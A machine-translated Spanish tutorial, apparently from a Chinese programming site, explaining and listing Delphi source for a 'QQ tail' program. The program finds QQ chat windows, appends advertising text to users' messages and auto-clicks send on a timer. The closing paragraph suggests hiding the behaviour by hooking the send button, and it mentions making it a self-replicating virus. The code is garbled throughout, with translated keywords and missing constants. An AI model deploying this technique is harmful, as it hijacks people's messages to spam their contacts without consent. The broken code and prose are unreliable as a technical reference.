Análisis sobre el principio de envío de virus de cola QQ
Para implementar el programa, primero debe encontrar el identificador de la ventana de envío de mensajes QQ y los identificadores de ventana del cuadro de texto del mensaje y el botón de enviar.
Cómo encontrar el identificador de la ventana de envío de mensajes QQ
Hay dos tipos de ventanas de envío de mensajes QQ, uno es el modo de mensaje, en cuyo caso el título de la ventana contiene el texto del mensaje a enviar, y el otro es el modo chat, en cuyo caso el título de la ventana contiene el texto con el que se va a chatear.
El identificador correspondiente se puede encontrar a través de la ventana de enumeración.
//Obtener la ventana de envío de mensajes de QQ
Función GetQQWnd:HWND;
Definir variables
hCurrentWindow:HWnd;
wnd text:String;
Inicio
hCurrentWindow := GetWindow(identificador de aplicación GW _ hwnd primero);
Y hCurrentWindow & lt& gt hacer
Inicio
WndText:= GetWndText(hCurrentWindow);
If (Pos(wndtext en chat)>) o (Pos(enviar mensaje WndText)> )Entonces
Inicio
Resultado:= hCurrentWindow
Salir;
Fin;
hCurrentWindow:= GetWindow (hCurrentWindow GW _ HWNDNEXT);
Fin;
Resultado:=;
Fin;
Cómo encontrar el identificador del botón de enviar ventana
Después de encontrar la ventana de envío de mensajes QQ, puede encontrar el identificador del botón enviar. Si el identificador de la ventana es qqWnd, puede utilizar un bucle para buscar ventanas con la palabra enviar en el texto. Después de los experimentos, se descubrió que el botón de enviar es la primera subventana del formulario, por lo que se puede utilizar.
BTN wnd:= GetDlgItem(qqWnd); //Botón Enviar
Obtiene el identificador del botón enviar.
Cómo encontrar el identificador de la ventana del cuadro de texto del mensaje
El cuadro de texto del mensaje es difícil de encontrar, pero primero puede ingresar algunas letras como abcd, etc. cuadro de texto del mensaje, para que podamos usar lo anterior. Se encontró el método. Sin embargo, se descubrió mediante experimentos que el cuadro de texto del mensaje no es una subventana directa de la ventana QQ, sino una subventana de una de las subventanas que se puede utilizar mediante experimentos.
txt wnd:= GetWindow(GetDlgItem(qqWnd)GW _ CHILD); //Cuadro de texto
Obtener
Cómo obtener el texto del mensaje original cuadro de texto
Para obtener el texto del cuadro de texto del mensaje original, solo necesita la función API que se muestra a continuación.
//Obtener texto de la ventana
Función GetWndText(hWnd:hWnd):String;
Definir variables
ret:LongInt;
Texto de varias líneas: PChar
Buf: entero;
Inicio
ret:= SendMessage(hWnd WM _ GETTEXTLENGTH)+;
get mem(mText Ret);
Probar
buf:= LongInt(mText);
Enviar mensaje(hWnd WM _ GETTEXT Ret Buf);
Resultado:= StrPas(mText);
Finalmente
FreeMem(mText Ret);
Fin;
Finalmente
FreeMem(mText Ret);
Fin;
p>Fin;
Cómo agregar texto al cuadro de texto del correo electrónico original
Lo opuesto a recibir texto
//Enviar texto a la ventana
p>
Procedimiento SetWndText(hWnd:hWnd ; texto: cadena);
Definir variables
ret:LongInt;
Texto multilínea: PChar
Buf: entero
p>
Iniciar
GetMem(longitud de texto multilínea (texto));
StrCopy(mText PChar(Text ));
Probar
buf:= LongInt(mText);
SendMessage(hWnd WM _ SETTEXT Buf);
Finalmente
FreeMem(longitud de texto multilínea (texto ));
Fin;
Fin;
Si se hace clic en el botón enviar automáticamente.
Todo está listo, ahora toca empezar a publicar. Para enviar un mensaje automáticamente, podemos simular que se hace clic en el botón enviar.
SendMessage(btnWnd WM _ LBUTTONDOWN MK _ LBUTTON);
SendMessage(BTN wnd WM _ LBUTTONUP);
Simulando una pulsación del ratón en el botón de inicio; Presione y suelte para realizar la función de hacer clic y enviar.
Las otras siete funciones de sincronización son relativamente simples, por lo que no entraré en detalles aquí.
Todos los códigos fuente son los siguientes
Unidad
Conexión
Uso
Variables de la herramienta del sistema de mensajes de Windows; Formulario de control gráfico de clase
Control estándar de diálogo control extendido;
Tipo
TForm = clase(TForm)
Temporizador: TTimer p>
Botón: TButton
Editar: TEdit
Etiqueta: TLabel
Botón: TButton
Temporización del programa Temporizador (remitente : a objetar);
Clic en el botón de proceso (remitente: a objetar);
Clic en el botón de proceso (remitente: a objetar);
Privado
{Declaración Privada}
Pública
{Declaración Pública}
Fin;
Definir variables
Formulario: TForm
Rendimiento
{$R * dfm}
//Obtener texto de ventana
Función GetWndText(hWnd: hWnd):String;
Definir variables
ret:LongInt;
Texto multilínea: PChar
Buf: entero;
Inicio
ret:= EnviarMessage(hWnd WM _ GETTEXTLENGTH)+;
obtener mem(mText Ret);
p>
Pruebe
buf:= LongInt(mText);
SendMessage(hWnd WM _ GETTEXT Ret Buf);
Resultado:= StrPas( mText); p>
Finalmente
FreeMem(mText Ret);
End;
End;
/ /Enviar texto al ventana
Procedimiento SetWndText(hWnd:hWnd; text: string);
Definir variables
ret:LongInt;
Multilínea texto: PChar
Buf: entero;
Inicio
GetMem(Longitud de texto de varias líneas (texto));
StrCopy( mText PChar(Text));
Intentar
buf:= LongInt(mText);
SendMessage(hWnd WM _ SETTEXT Buf
);Finalmente
FreeMem(longitud de texto multilínea (texto));
Fin
Fin
//Obtener QQ's ventana de envío de mensajes
Función GetQQWnd:HWND;
Definir variables
hCurrentWindow:HWnd;
wnd text :String;
Iniciar
hCurrentWindow := GetWindow(identificador de aplicación GW _ hwnd primero);
Y hCurrentWindow & lt& gt hacer
Iniciar
WndText:= GetWndText(hCurrentWindow);
Si (Pos(wndtext en chat)>) o (Pos(enviar mensaje WndText)>) entonces
Iniciar
Resultado:= hCurrentWindow
Salir;
Fin;
hCurrentWindow:= GetWindow(hCurrentWi
ndow GW _ HWNDNEXT);
Fin;
Resultado:=;
Fin;
//Procesamiento de tiempo
Programar programa temporizador;
Definir variables
qqWnd txt wnd BTN wnd:HWND;
Mensaje: cadena;
Iniciar
qqWnd:= GetQQWnd;
Salir si qqWnd=;
BTN wnd:= GetDlgItem(qqWnd); //Botón Enviar
txt wnd:= GetWindow(GetDlgItem(qqWnd)GW _ CHILD); //Cuadro de texto
Salir si (btnWnd=) o (txtWnd=);
msg:= GetWndText (txt wnd);
Msg:= msg++#+Bienvenido a Luyin.com // Luyin.com;
SetWndText(txt wnd Msg);
SendMessage(btnWnd WM _ LBUTTONDOWN MK _ LBUTTON);
SendMessage(BTN wnd WM _ LBUTTONUP);
Fin
Programa TForm Timer (Remitente: a objetar);
Inicio
TimerProc
Fin;
Clic en el botón Procesar TForm (Remitente: a objetar);
Iniciar
Habilitar temporizador: = deshabilitar el temporizador;
Si el temporizador está habilitado, entonces
botón Título:=Detener.
Otros
Título del botón:=Inicio;
Fin;
Clic en el botón Procesar TForm (remitente: al objeto);
p>
Inicio
Intervalo del temporizador:= StrToInt(editar texto);
Fin;
Fin
Resumen Como se mencionó Lo anterior solo describe la función principal del envío automático de mensajes QQ. Puede ser diferente del principio de cola QQ (no lo sé), pero en general debería ser similar. Si desea que los usuarios sientan que algo es anormal, debe cambiarlo. En lugar de enviar automáticamente, agregue el texto después de que el usuario haga clic en el botón enviar. De esta manera, puede interceptar el mensaje de clic del botón Enviar, luego agregar texto mediante el método anterior y luego entregarlo al programa de restauración para su procesamiento. En cuanto a cómo convertirlo en un virus que pueda replicarse y ocultarse, ese es otro tema y no lo discutiremos aquí.
Lishi Xinzhi/Article/program/Delphi/201311/8482